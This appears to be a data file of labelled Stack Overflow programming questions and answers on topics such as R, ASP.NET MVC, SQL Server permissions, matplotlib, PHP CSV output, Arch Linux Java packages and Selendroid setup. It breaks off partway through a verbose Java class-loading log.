29973534	1	Summing and dividing by different categories conversion from Python to R <p>I have a set of vectors containing category values, lets call them, C1, C2,...and I have a frequency vector called Fr. All vectors are of the same length. I want to divide the frequency values in Fr by sums dependent on the categories. In Python using numpy this is fairly easy.</p> <pre><code># Find unique categories unqC1 = np.unique(C1) unqC2 = np.unique(C2) # For each unique category in C1 and C2 sum frequencies and normalize for uC1 in unqC1: for uC2 in unqC2: mask = (uC1 == C1) &amp; (uC2 == C2) nrmFactor = np.sum(Fr[mask]) Fr[mask] /= nrmFactor </code></pre> <p>How can I do this in R? For simplicity lets say I have a table X, in R, with the columns X$Fr, X$C1 and X$C2.</p>
36709966	0	how to set Enum in DropDownListFor and keep selectet item when back to this page in mvc? <p>when use this code in firstPage and go to other page , and come back to this page with passing model to first page, selected value in DropDownList not found</p> <pre><code>@Html.DropDownListFor(model =&gt; model.Supplementary.BloodGroup, EnumHelper.GetSelectList(typeof(AzarWeb.Domain.HRM.ProvidingStaff.Core.Enumeration.BloodGroupEnum)), "please select one item", new { @class = "form-control" }) </code></pre> <p>how to set selectet value in DropDownListFor when come back to this page?</p>
15815072	0	SQL Server "Deny View Any Database To" in stored proc <p>I have a script which generates a database for a given {databaseName}, and then creates a login for a given {loginName} for this database.</p> <p>I then want restrict this user to only be able to view this database, and no others.</p> <p>I have this working through the use of:</p> <pre><code>USE [{DatabaseName}] GO ALTER AUTHORIZATION ON DATABASE::[{DatabaseName}] to [{LoginName}] GO USE [master] GO DENY VIEW ANY DATABASE TO [{LoginName}] GO </code></pre> <p>I have now put this into a stored procedure, but I cannot change to the [master] database to execute the last line:</p> <pre><code>DENY VIEW ANY DATABASE TO [{LoginName}] </code></pre> <p>Is there a way to restrict the user from seeing other database from within a stored procedure?</p> <p>The stored procedure is currently on another database, but I am able to move it.</p>
6933483	0	 <p>this code looks correct, are you sure the crash isn't somewhere else?</p> <hr> <p>EDIT: as noted in the comments, <code>NSString</code> being immutable won't cause the <code>copy</code> to allocate a new object. I've edited the answer for the mutable case, just in case someone stumbles into this later and doesn't read the whole thing. Now back with our regular programming.</p> <hr> <p>Don't know if this might be the problem, but note that, if you were using a mutable object like NSMutableString, with <code>copy</code> you would not increment the retain count, you would effectively create a new object, so what would happen:</p> <pre><code>NSMutableString* newString = [[NSMutableString alloc] init..]; // allocate a new mutable string self.originalString=newString; // this will create yet another string object // so at this point you have 2 string objects. [newString relase]; //this will in fact dealloc the first object // so now you have a new object stored in originalString, but the object pointed // to by newString is no longer in memory. // if you try to use newString here instead of self.originalString, // it can indeed crash. // after you release something, it's a good idea to set it to nil to // avoid that kind of thing newString = nil; </code></pre>
34722876	0	stepping into/through the code - it steps into code that has been commented out in visual studio 2012. Has anyone sen this before? <p>Using Visual Studio 2012.</p> <p>Stepping into/through the code - it steps into code that has been commented out.</p> <p>Has anyone seen this before? If so how can I stop it from happening and to step through the code properly?</p> <p>I have rebuilt and cleaned the project but no change.</p>
21743638	0	 <p>To disable only DTC you need to add this to your endpoint config:</p> <pre><code>Configure.Transactions.Advanced(settings =&gt; settings.DisableDistributedTransactions()); </code></pre>
13612610	1	plotting autoscaled subplots with fixed limits in matplotlib <p>What's the best way in matplotlib to make a series of subplots that all have the same X and Y scales, but where these are computed based on the min/max ranges of the subplot with the most extreme data? E.g. if you have a series of histograms you want to plot:</p> <pre><code># my_data is a list of lists for n, data in enumerate(my_data): # data is to be histogram plotted subplot(numplots, 1, n+1) # make histogram hist(data, bins=10) </code></pre> <p>Each histogram will then have different ranges/ticks for the X and Y axis. I'd like these to be all the same and set based on the most extreme histogram limits of the histograms plotted. One clunky way to do it is to record the min/max of X/Y axes for each plot, and then iterate through each subplot once they're plotted and just their axes after they're plotted, but there must be a better way in matplotlib.</p> <p>Can this be achieved by some variant of axes sharing perhaps?</p>
7167686	0	 <pre><code>// Select all element with class child inside an element with class a $('.a .child'); // Select all input elements inside all elements with class a $('.a input'); </code></pre>
19253397	0	DataBinding multiple instances of members of a class to specific labels <p><img src="https://i.stack.imgur.com/bU7Ew.png" alt="enter image description here"><img src="https://i.stack.imgur.com/aHuoy.png" alt="enter image description here">I have a class that has a private member of another class, and which that class is an ObserveableCollection of another class.. and this is the class I need info from, that has private members that I want to databind.</p> <pre><code>private readonly NflGameCollection _games; .... class NflGameCollection : ObservableCollectionEx&lt;NflGameStatus&gt; {... class NflGameStatus : INotifyPropertyChanged { //***these are the members i want databound*** private readonly string _homeTri; private readonly string _awayTri; private string _homeScore; private string _awayScore; </code></pre> <p>so multiple instances of this NflGameStatus will pop up everytime it detects a game... which the only way i know how to access it is by doing this:</p> <pre><code>_controller = new DtvGsisDataParser.AppController(); foreach (var item in _controller.Games) { string hometri = item.HomeTri; string awaytri = item.AwayTri; ... etc etc } </code></pre> <p>how can i get it so that if a hometri and awaytri are equal to what i'm looking for... i can get the other instances of that class? for example</p> <pre><code>if item.HomeTri==what i want &amp;&amp; item.AwayTri==what i want then bind item._homeScore to a certain label then bind item.awayAScore to a certain label. </code></pre> <p>i know what i'm asking for is kinda complex.. but i'm kinda desperate here and would appreciate any help. this databinding is very new to me and i'm having trouble grasping it. is this even possible? the more i research the more i dont think so.. but i'm hoping i'm not. thanks for any help</p>
39220061	0	 <p><a href="http://leafletjs.com/reference.html#control-layers-removelayer" rel="nofollow"><code>controlLayers.removeLayer(geojsonLayer)</code></a></p> <blockquote> <p>Remove the given layer from the control.</p> </blockquote> <p>(note that you will have to keep reference of your previous layers)</p>
13439709	0	 <p>OpenJDK is a dependency on multiple Arch Linux packages so just installing Oracle’s JDK wasn’t enough.</p> <p>First had to remove icedtea-web</p> <pre><code>sudo pacman -R icedtea-web </code></pre> <p>Then build Oracle JRE AUR package,</p> <p>Before installing OracleJRE I had to remove openjdk6 manually and ignore dependencies:</p> <pre><code>[argy@Freak jre]$ sudo pacman -Rdd openjdk6 </code></pre> <p>Install OracleJRE</p> <pre><code>sudo pacman -U jre-7u2-1-i686.pkg.tar.xz </code></pre> <p>Build and Install JDK AUR package:</p> <pre><code>sudo pacman -U jdk-7u2-1-i686.pkg.tar.xz </code></pre> <p>Logout and Login so the PATH gets updated and java is installed.</p>
21092929	0	Extending div to bottom of page not working <p>I have been trying to fix the length of this div for awhile, and I'm sure it is something completely simple, just not seeing it. The div for the content "page" is extending well beyond the footer and I can manipulate the length with the min-height property in css however I want to make sure that the footer/"page" div extend to bottom regardless of the content so I don't want to set a definite length for the div. </p> <p><strong>EDIT</strong>: jsfiddle: <a href="http://jsfiddle.net/F2SMX/" rel="nofollow">http://jsfiddle.net/F2SMX/</a></p> <p><strong>Footer cs</strong></p> <pre><code>#footer { background: #365F91; color: #000000; width:100%; height: 35px; position:relative; bottom:0px; clear:both; } #footer p { margin: 0; text-align: center; font-size: 77%; } #footer a { text-decoration: underline; color: #FFFFFF; } #footer a:hover { text-decoration: none; } </code></pre> <p>changing footer position from relative to absolute had no change</p>
27653745	0	PHP CSV file issues(part 2) <ul> <li><p>continue on <a href="http://stackoverflow.com/questions/27646693/php-duplicate-staffid?lq=1">PHP duplicate staffID</a></p></li> <li><p>code<br /> <code>$data[0] = 0001,Ali,N,OK</code><br /> <code>$data[1] = 0002,Abu,N,OK</code><br /> <code>$data[2] = 0003,Ahmad,N,OK</code><br /> <code>$data[3] = 0004,Siti,Y,Not OK. Only one manager allowed!</code><br /> <code>$data[4] = 0005,Raju,Y, Not OK. Only one manager allowed!</code> </p> <p>I write it as following:<br /></p> <pre><code>for($i = 0; $i &lt; 5; $i++) { $data[i] = $staffID[$i].','.$staffname[$i].','.$ismanager[$i].','.$remark[$i]; } </code></pre></li> <li><p>Next I go to write csv file.<br /></p> <pre><code>$file_format = "staffreport.csv"; $file = fopen($file_format,"w"); foreach($data as $line) { $replace = str_replace(",","|", $line); fputcsv($file, array($replace)); echo $replace.'&lt;br /&gt;'; } fclose($file); </code></pre></li> <li><p>output (echo $replace)<br /> 0001|Ali|N|OK<br /> 0002|Abu|N|OK<br /> 0003|Ahmad|N|OK<br /> 0004|Raju|Y|Only one manager allowed!<br /> 0005|Siti|Y|Only one manager allowed!<br /></p></li> <li><p>In CSV file (staffreport.csv)<br /> 0001|Ali|N|OK<br /> 0002|Abu|N|OK<br /> 0003|Ahmad|N|OK<br /> "0004|Siti|Y|Only one manager allowed!"<br /> "0005|Raju|Y|Only one manager allowed!"<br /></p></li> <li><p>Why my csv file have double quote("")? How do I solve it?</p></li> </ul>
20203563	0	 <p>you can modify the sass variables that set the breakpoints that define the media queries, just set them to extreme values so that they do not trigger. This will provide very poor ux on devices with small displays. Another solution would be to match all of the grids, so if you have a <code>.large-12</code> then add <code>.small-12 .large-12</code> for each instance.</p> <p>Here are the defaults pulled from the <a href="http://foundation.zurb.com/docs/components/global.html" rel="nofollow">zurb foundation docs</a>:</p> <pre><code>$small-range: (0em, 40em); $medium-range: (40.063em, 64em); $large-range: (64.063em, 90em); $xlarge-range: (90.063em, 120em); $xxlarge-range: (120.063em); $screen: "only screen" !default; $landscape: "#{$screen} and (orientation: landscape)" !default; $portrait: "#{$screen} and (orientation: portrait)" !default; $small-up: $screen !default; $small-only: "#{$screen} and (max-width: #{upper-bound($small-range)})" !default; $medium-up: "#{$screen} and (min-width:#{lower-bound($medium-range)})" !default; $medium-only: "#{$screen} and (min-width:#{lower-bound($medium-range)}) and (max-width:#{upper-bound($medium-range)})" !default; $large-up: "#{$screen} and (min-width:#{lower-bound($large-range)})" !default; $large-only: "#{$screen} and (min-width:#{lower-bound($large-range)}) and (max-width:#{upper-bound($large-range)})" !default; $xlarge-up: "#{$screen} and (min-width:#{lower-bound($xlarge-range)})" !default; $xlarge-only: "#{$screen} and (min-width:#{lower-bound($xlarge-range)}) and (max-width:#{upper-bound($xlarge-range)})" !default; $xxlarge-up: "#{$screen} and (min-width:#{lower-bound($xxlarge-range)})" !default; $xxlarge-only: "#{$screen} and (min-width:#{lower-bound($xxlarge-range)}) and (max-width:#{upper-bound($xxlarge-range)})" !default; </code></pre>
14036331	0	 <p>u can include "Top" as..</p> <pre><code> select top 1 * from Table where CreateDate &lt; '25-Dec-2012' order by CreateDate desc; </code></pre>
112850	0	 <p>It seems that whenever you talk about anything J2EE related - there are always a whole bunch of assumptions behind the scenes - which people assume one way or the other - which then leads to confusion. (I probably could have made the question clearer too.)</p> <p>Assuming (a) we want to use container managed transactions in a strict sense through the EJB specification then</p> <p>Session facades are a good idea - because they abstract away the low-level database transactions to be able to provide higher level application transaction management.</p> <p>Assuming (b) that you mean the general architectural concept of the session façade - then </p> <p>Decoupling services and consumers and providing a friendly interface over the top of this is a good idea. Computer science has solved lots of problems by 'adding an additional layer of indirection'. </p> <p>Rod Johnson writes "SLSBs with remote interfaces provide a very good solution for distributed applications built over RMI. However, this is a minority requirement. Experience has shown that we don't want to use distributed architecture unless forced to by requirements. We can still service remote clients if necessary by implementing a remoting façade on top of a good co-located object model." (Johnson, R "J2EE Development without EJB" p119.)</p> <p>Assuming (c) that you consider the EJB specification (and in particular the session façade component) to be a blight on the landscape of good design then:</p> <p>Rod Johnson writes "In general, there are not many reasons you would use a local SLSB at all in a Spring application, as Spring provides more capable declarative transaction management than EJB, and CMT is normally the main motivation for using local SLSBs. So you might not need th EJB layer at all. " <a href="http://forum.springframework.org/showthread.php?t=18155" rel="nofollow noreferrer">http://forum.springframework.org/showthread.php?t=18155</a></p> <p>In an environment where performance and scalability of the web server are the primary concerns - and cost is an issue - then the session facade architecture looks less attractive - it can be simpler to talk directly to the datbase (although this is more about tiering.)</p>
24761939	0	System.IO.Compression.FileSystem not found with VS 2010 Express 4.5.50938 <p>I have VS 2010 Express 4.5.50938, but when I go to add a reference there is no System.IO.Compression.FileSystem under .NET tab, but I found a 4.0 version under the Recent Tab. When program runs I receive:</p> <pre><code>Warning 1 Reference to type 'System.IO.Compression.CompressionLevel' claims it is defined in 'c:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\Profile\Client\System.dll', but it could not be found c:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll Zip_Copy_To_Public </code></pre> <p>Do I copy the dll into this directory? </p>
583237	0	 <p>Have you tried setting the regex option to be compiled? I find using a static compiled regex can speed things up considerably.</p>
19626980	0	every time I backup my mysql database it needs to repair tables <p>I have a manual backup script for my CMS.</p> <p>Every other time I have created a backup, it says it needs to </p> <p>Repair a table or multiple tables ?</p> <p>Is there something that I am doing wrong in day to day activity -- that is causing this ? Is the database corrupt ?</p> <p>Here is the actual warning:</p> <pre><code> REPAIR TABLE table_one EXTENDED status: OK ------------------------------------------------------------ REPAIR TABLE table_two EXTENDED status: OK ------------------------------------------------------------ REPAIR TABLE table_three EXTENDED status: OK ------------------------------------------------------------ </code></pre>
16105119	0	Jquery not appending values correctly <p>I have a fixed set of input fields on page load. I have checkboxes with values displayed and when someone checks the checkbox the values are added to the input field. If all the input fields are filled, a new one is created. My problem is that, the checkbox values are inserted correctly in existing input fields and if the value exceeds,a new input field is created but values are not inserted immediately when the input field is created.Only on the next click is the values inserted in the newly created input field. Here's the code <br></p> <pre><code>&lt;script&gt; function fillin(entire,name,id,key) { if (entire.checked == true) { var split_info = new Array(); split_info = name.split(":"); var div = $("#Inputfields"+id); var till = (div.children("input").length)/4; var current_count = 0; for (var j=0;j&lt;till;j++) { if (document.getElementById("insertname_"+j+"_"+id).value == "" &amp;&amp; document.getElementById("insertnumber_"+j+"_"+id).value == "") { document.getElementById("insertname_"+j+"_"+id).value = split_info[0]; document.getElementById("insertnumber_"+j+"_"+id).value = split_info[1]; break; } else current_count = current_count+1; if (current_count == till) { var x= addnew(id); x =x+1; $("#Inputfields"+id).find("#insertname_"+x+"_"+id).value = split_info[0]; alert($("#Inputfields"+id).find("#insertname_"+x+"_"+id).value); document.getElementById("insertname_"+x+"_"+id).text = split_info[0]; //alert(document.getElementById("insertname_"+x+"_"+id).value); //document.getElementById("insertnumber_"+x+"_"+id).value = split_info[1]; } } } else { } } &lt;/script&gt; &lt;script&gt; function addnew(n) { //var id = $(this).attr("id"); var div = $("#Inputfields"+n); var howManyInputs = (div.children("input").length)/4; alert(howManyInputs); var val = $("div").data("addedCount"); var a = '&lt;input type="search" id="insertinstitute_'+(howManyInputs)+'_'+n+'" placeholder="Institute" class="span3"&gt;'; var b = '&lt;input type="search" id="insertname_'+(howManyInputs)+'_'+n+'" placeholder="name" class="span3"&gt;'; var c = '&lt;input type="search" name="" id="insertnumber_'+(howManyInputs)+'_'+n+'" placeholder="number" class="span3"&gt;'; var d = '&lt;input type="search" name="" id="insertarea_'+(howManyInputs)+'_'+n+'" placeholder="area" class="span3"&gt;'; var fin = a+b+d+c; $(fin).appendTo(div); div.data("addedCount", div.data("addedCount") + 1); return howManyInputs; } &lt;/script&gt; </code></pre> <p>UPDATED: Thank you all. I was able to find the bug. The culprit was <code>x =x+1;</code>. It should have been <code>x</code></p>
11137253	0	 <p>I found myself having the same prob so I discovered that what you need hidden due an annoying bug in PDT plugin</p> <p><strong>Create a new Debug Configuration</strong></p> <ul> <li>Open Eclipse</li> <li>Select the Run > Debug Configurations… menu option</li> <li>Double click the PHP Web Page option</li> <li>Set the following fields</li> <li>Name: $domain</li> <li>PHP Server: $domain</li> <li>File: Browse to the file belonging to this domain that you wish to debug</li> <li><p>Breakpoint > Break at First Line: Uncheck this if you do not wish to break at the first line in the file</p></li> <li><p>URL > Auto Generate: Uncheck if necessary (ending / in first checkbox and beggining / in second checkbox is OK) ----- this one is missing and is exactly what you need.. try ZendStudio trial </p></li> <li><p>Click the Apply button</p></li> <li>Click the Close button</li> </ul> <p>I hope this will be fixed in 23 of Jun 2012 with the new pdt plugin.</p>
4176461	0	 <p>To test if the <code>JComboxBox</code> reference is <code>null</code>, you can compare it with <code>null</code> using the <code>==</code> operator. To test if the combo-box contains any items, you can use the instance method <a href="http://download.oracle.com/javase/1.4.2/docs/api/javax/swing/JComboBox.html#getItemCount%28%29" rel="nofollow"><code>getItemCount</code></a>, which returns the number of items it contains. </p> <pre><code>JComboxBox box = ... boolean boxIsNull = (box == null); // answers the title of the question boolean boxHasItems = (box.getItemCount() &gt; 0); </code></pre>
21746350	0	unable to get click event between the path link using collapse graph <p>I am using collapse graph.It works fine. But I am unable to add click event to the path link. so when I click on the path link i want to call function.how to do any one can help me.</p> <p>[visit http://jsfiddle.net/Nivaldo/6FkBd/17/][1]</p>
19812649	0	selendroid server error: Command aapt not found <p>Currently i am working on selenium web driver for automation testing.As i was interested in mobile app testing as well i have came across this selendroid.So working on how to do automation testing with selendroid.I have installed Eclipse ADT created a virtual device and installed selendroid-test-app in that.</p> <p>I was trying to launch selendroid server but getting error as Command aapt not found. Gone through many workarounds but none of them worked.The procedure i have followed is:</p> <p>1) Launched android virtual device(selendroid-test app already installed in it)<br> 2) i have set java path to jdk1.6 and android home path as D:\adt-bundle-windows-x86-20131030\adt-bundle-windows-x86-20131030\sdk<br> 3)from command prompt trying to launch selendroid server with the command :<br> java -jar selendroid-standalone-0.5.1-with-dependencies.jar -aut selendroid-test-app-0.5.1.apk<br> 4)at sdk\tools folder i have aapt.exe file and i copied the same to platform-tools folder as well.</p> <p>This is the error i am getting</p> <p>D:\selendroid>java -jar selendroid-standalone-0.5.1-with-dependencies.jar -aut s elendroid-test-app-0.5.1.apk </p> <pre><code>Nov 6, 2013 12:25:08 PM io.selendroid.SelendroidLauncher main INFO: ################# Selendroid ################# Nov 6, 2013 12:25:08 PM io.selendroid.SelendroidLauncher lauchServer INFO: Starting selendroid-server port 5555 Nov 6, 2013 12:25:08 PM io.selendroid.SelendroidLauncher lauchServer SEVERE: Selendroid was not able to interact with the Android SDK: Command 'aapt' was not found inside the Android SDK. Please update to the latest development t ools and try again. Nov 6, 2013 12:25:08 PM io.selendroid.SelendroidLauncher lauchServer SEVERE: Please make sure you have the lastest version with the latest updates in stalled: Nov 6, 2013 12:25:08 PM io.selendroid.SelendroidLauncher lauchServer SEVERE: http://developer.android.com/sdk/index.html Nov 6, 2013 12:25:08 PM io.selendroid.SelendroidLauncher$1 run INFO: Shutting down Selendroid standalone </code></pre> <p>Also adding some part of verbose log for reference</p> <pre><code>rt.jar] [Loaded java.lang.Class$MethodArray from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded sun.misc.ProxyGenerator$MethodInfo from C:\Program Files\Java\jre6\lib\r t.jar] [Loaded sun.misc.ProxyGenerator$ConstantPool$Entry from C:\Program Files\Java\jr e6\lib\rt.jar] [Loaded sun.misc.ProxyGenerator$ConstantPool$ValueEntry from C:\Program Files\Ja va\jre6\lib\rt.jar] [Loaded java.io.DataOutput from shared objects file] [Loaded java.io.DataOutputStream from shared objects file] [Loaded sun.misc.ProxyGenerator$ConstantPool$IndirectEntry from C:\Program Files \Java\jre6\lib\rt.jar] [Loaded sun.misc.ProxyGenerator$FieldInfo from C:\Program Files\Java\jre6\lib\rt .jar] [Loaded sun.misc.ProxyGenerator$PrimitiveTypeInfo from C:\Program Files\Java\jre 6\lib\rt.jar] [Loaded sun.misc.ProxyGenerator$ExceptionTableEntry from C:\Program Files\Java\j re6\lib\rt.jar] [Loaded $Proxy0 by instance of java.lang.reflect.Proxy] [Loaded java.lang.annotation.Target from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded java.lang.annotation.ElementType from C:\Program Files\Java\jre6\lib\rt. jar] [Loaded java.lang.annotation.Documented from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded $Proxy1 by instance of java.lang.reflect.Proxy] [Loaded java.util.ListIterator from shared objects file] [Loaded java.util.AbstractList$ListItr from shared objects file] [Loaded $Proxy2 by instance of java.lang.reflect.Proxy] [Loaded $Proxy3 from sun.misc.Launcher$AppClassLoader] [Loaded java.lang.reflect.UndeclaredThrowableException from C:\Program Files\Jav a\jre6\lib\rt.jar] [Loaded com.beust.jcommander.ParametersDelegate from file:/D:/selendroid/selendr oid-standalone-0.5.1-with-dependencies.jar] [Loaded com.beust.jcommander.DynamicParameter from file:/D:/selendroid/selendroi d-standalone-0.5.1-with-dependencies.jar] [Loaded com.beust.jcommander.WrappedParameter from file:/D:/selendroid/selendroi d-standalone-0.5.1-with-dependencies.jar] [Loaded com.beust.jcommander.StringKey from file:/D:/selendroid/selendroid-stand alone-0.5.1-with-dependencies.jar] [Loaded com.beust.jcommander.ParameterDescription from file:/D:/selendroid/selen droid-standalone-0.5.1-with-dependencies.jar] [Loaded java.lang.AssertionError from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded com.beust.jcommander.Parameters from file:/D:/selendroid/selendroid-stan dalone-0.5.1-with-dependencies.jar] [Loaded java.util.Collections$EmptySet$1 from C:\Program Files\Java\jre6\lib\rt. jar] [Loaded com.beust.jcommander.ResourceBundle from file:/D:/selendroid/selendroid- standalone-0.5.1-with-dependencies.jar] [Loaded sun.reflect.UnsafeIntegerFieldAccessorImpl from C:\Program Files\Java\jr e6\lib\rt.jar] [Loaded sun.reflect.UnsafeLongFieldAccessorImpl from C:\Program Files\Java\jre6\ lib\rt.jar] [Loaded sun.reflect.UnsafeBooleanFieldAccessorImpl from C:\Program Files\Java\jr e6\lib\rt.jar] [Loaded sun.reflect.UnsafeObjectFieldAccessorImpl from shared objects file] [Loaded com.beust.jcommander.Strings from file:/D:/selendroid/selendroid-standal one-0.5.1-with-dependencies.jar] [Loaded com.beust.jcommander.FuzzyMap from file:/D:/selendroid/selendroid-standa lone-0.5.1-with-dependencies.jar] [Loaded com.beust.jcommander.IParameterValidator2 from file:/D:/selendroid/selen droid-standalone-0.5.1-with-dependencies.jar] [Loaded java.util.LinkedList$ListItr from shared objects file] [Loaded sun.reflect.generics.repository.AbstractRepository from C:\Program Files \Java\jre6\lib\rt.jar] [Loaded sun.reflect.generics.repository.FieldRepository from C:\Program Files\Ja va\jre6\lib\rt.jar] [Loaded java.lang.reflect.ParameterizedType from C:\Program Files\Java\jre6\lib\ rt.jar] [Loaded sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl from C:\Pro gram Files\Java\jre6\lib\rt.jar] [Loaded sun.reflect.generics.repository.GenericDeclRepository from C:\Program Fi les\Java\jre6\lib\rt.jar] [Loaded sun.reflect.generics.repository.ClassRepository from C:\Program Files\Ja va\jre6\lib\rt.jar] [Loaded sun.reflect.generics.tree.FormalTypeParameter from C:\Program Files\Java \jre6\lib\rt.jar] [Loaded sun.reflect.generics.tree.TypeVariableSignature from C:\Program Files\Ja va\jre6\lib\rt.jar] [Loaded java.lang.IndexOutOfBoundsException from shared objects file] [Loaded java.lang.ArrayIndexOutOfBoundsException from shared objects file] [Loaded sun.reflect.generics.tree.Signature from C:\Program Files\Java\jre6\lib\ rt.jar] [Loaded sun.reflect.generics.tree.ClassSignature from C:\Program Files\Java\jre6 \lib\rt.jar] [Loaded java.lang.reflect.TypeVariable from C:\Program Files\Java\jre6\lib\rt.ja r] [Loaded sun.reflect.generics.reflectiveObjects.LazyReflectiveObjectGenerator fro m C:\Program Files\Java\jre6\lib\rt.jar] [Loaded sun.reflect.generics.reflectiveObjects.TypeVariableImpl from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded java.util.regex.Pattern from shared objects file] [Loaded java.util.regex.Pattern$Node from shared objects file] [Loaded java.util.regex.Pattern$5 from shared objects file] [Loaded java.util.regex.Pattern$LastNode from shared objects file] [Loaded java.util.regex.Pattern$GroupHead from shared objects file] [Loaded java.util.regex.Pattern$CharProperty from shared objects file] [Loaded java.util.regex.Pattern$BmpCharProperty from shared objects file] [Loaded java.util.regex.Pattern$Single from shared objects file] [Loaded java.util.regex.Pattern$SliceNode from shared objects file] [Loaded java.util.regex.Pattern$Slice from shared objects file] [Loaded java.util.regex.Pattern$Begin from shared objects file] [Loaded java.util.regex.Pattern$First from shared objects file] [Loaded java.util.regex.Pattern$Start from shared objects file] [Loaded java.util.regex.Pattern$TreeInfo from shared objects file] [Loaded java.util.regex.MatchResult from shared objects file] [Loaded java.util.regex.Matcher from shared objects file] [Loaded java.util.SortedSet from shared objects file] Nov 6, 2013 12:49:09 PM io.selendroid.SelendroidLauncher lauchServer INFO: Starting selendroid-server port 5555 [Loaded io.selendroid.server.SelendroidStandaloneServer from file:/D:/selendroid /selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded java.net.SocketAddress from shared objects file] [Loaded java.net.InetSocketAddress from shared objects file] [Loaded java.util.concurrent.Executor from C:\Program Files\Java\jre6\lib\rt.jar ] [Loaded io.selendroid.server.ServerDetails from file:/D:/selendroid/selendroid-s tandalone-0.5.1-with-dependencies.jar] [Loaded org.webbitserver.HttpHandler from file:/D:/selendroid/selendroid-standal one-0.5.1-with-dependencies.jar] [Loaded java.util.concurrent.Executors from C:\Program Files\Java\jre6\lib\rt.ja r] [Loaded java.util.concurrent.ExecutorService from C:\Program Files\Java\jre6\lib \rt.jar] [Loaded java.util.concurrent.AbstractExecutorService from C:\Program Files\Java\ jre6\lib\rt.jar] [Loaded java.util.concurrent.ThreadPoolExecutor from C:\Program Files\Java\jre6\ lib\rt.jar] [Loaded java.util.concurrent.RejectedExecutionHandler from C:\Program Files\Java \jre6\lib\rt.jar] [Loaded java.util.concurrent.ThreadPoolExecutor$AbortPolicy from C:\Program File s\Java\jre6\lib\rt.jar] [Loaded java.util.concurrent.TimeUnit from C:\Program Files\Java\jre6\lib\rt.jar ] [Loaded java.util.concurrent.TimeUnit$1 from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded java.util.concurrent.TimeUnit$2 from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded java.util.concurrent.TimeUnit$3 from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded java.util.concurrent.TimeUnit$4 from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded java.util.concurrent.TimeUnit$5 from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded java.util.concurrent.TimeUnit$6 from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded java.util.concurrent.TimeUnit$7 from C:\Program Files\Java\jre6\lib\rt.j ar] [Loaded java.util.concurrent.BlockingQueue from C:\Program Files\Java\jre6\lib\r t.jar] [Loaded java.util.AbstractQueue from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded java.util.concurrent.SynchronousQueue from C:\Program Files\Java\jre6\li b\rt.jar] [Loaded java.util.concurrent.SynchronousQueue$Transferer from C:\Program Files\J ava\jre6\lib\rt.jar] [Loaded java.util.concurrent.SynchronousQueue$TransferStack from C:\Program File s\Java\jre6\lib\rt.jar] [Loaded java.util.concurrent.SynchronousQueue$TransferStack$SNode from C:\Progra m Files\Java\jre6\lib\rt.jar] [Loaded java.util.concurrent.ThreadFactory from C:\Program Files\Java\jre6\lib\r t.jar] [Loaded java.util.concurrent.Executors$DefaultThreadFactory from C:\Program File s\Java\jre6\lib\rt.jar] [Loaded java.util.concurrent.locks.Condition from shared objects file] [Loaded java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject fr om shared objects file] [Loaded java.net.InetAddress from shared objects file] [Loaded java.net.InetAddress$Cache from shared objects file] [Loaded java.net.InetAddress$Cache$Type from shared objects file] [Loaded java.net.InetAddressImplFactory from shared objects file] [Loaded java.net.InetAddressImpl from shared objects file] [Loaded java.net.Inet6AddressImpl from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded sun.net.spi.nameservice.NameService from shared objects file] [Loaded java.net.InetAddress$1 from shared objects file] [Loaded java.net.Inet4AddressImpl from shared objects file] [Loaded java.net.Inet4Address from shared objects file] [Loaded sun.net.util.IPAddressUtil from shared objects file] [Loaded java.util.SubList from shared objects file] [Loaded java.util.RandomAccessSubList from shared objects file] [Loaded java.util.SubList$1 from shared objects file] [Loaded java.net.URI from shared objects file] [Loaded java.net.URI$Parser from shared objects file] [Loaded org.webbitserver.WebServers from file:/D:/selendroid/selendroid-standalo ne-0.5.1-with-dependencies.jar] [Loaded org.webbitserver.Endpoint from file:/D:/selendroid/selendroid-standalone -0.5.1-with-dependencies.jar] [Loaded org.webbitserver.WebServer from file:/D:/selendroid/selendroid-standalon e-0.5.1-with-dependencies.jar] [Loaded org.webbitserver.netty.NettyWebServer from file:/D:/selendroid/selendroi d-standalone-0.5.1-with-dependencies.jar] [Loaded java.net.UnknownHostException from shared objects file] [Loaded java.util.concurrent.Callable from C:\Program Files\Java\jre6\lib\rt.jar ] [Loaded java.util.concurrent.Future from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded org.webbitserver.handler.exceptions.PrintStackTraceExceptionHandler from file:/D:/selendroid/selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded org.webbitserver.handler.exceptions.SilentExceptionHandler from file:/D: /selendroid/selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded org.webbitserver.handler.ServerHeaderHandler from file:/D:/selendroid/se lendroid-standalone-0.5.1-with-dependencies.jar] [Loaded org.webbitserver.handler.DateHeaderHandler from file:/D:/selendroid/sele ndroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.server.model.SelendroidStandaloneDriver from file:/D:/sele ndroid/selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.exceptions.AndroidDeviceException from file:/D:/selendroid /selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.exceptions.ShellCommandException from file:/D:/selendroid/ selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.exceptions.SelendroidException from file:/D:/selendroid/se lendroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.exceptions.SessionNotCreatedException from file:/D:/selend roid/selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.android.AndroidApp from file:/D:/selendroid/selendroid-sta ndalone-0.5.1-with-dependencies.jar] [Loaded 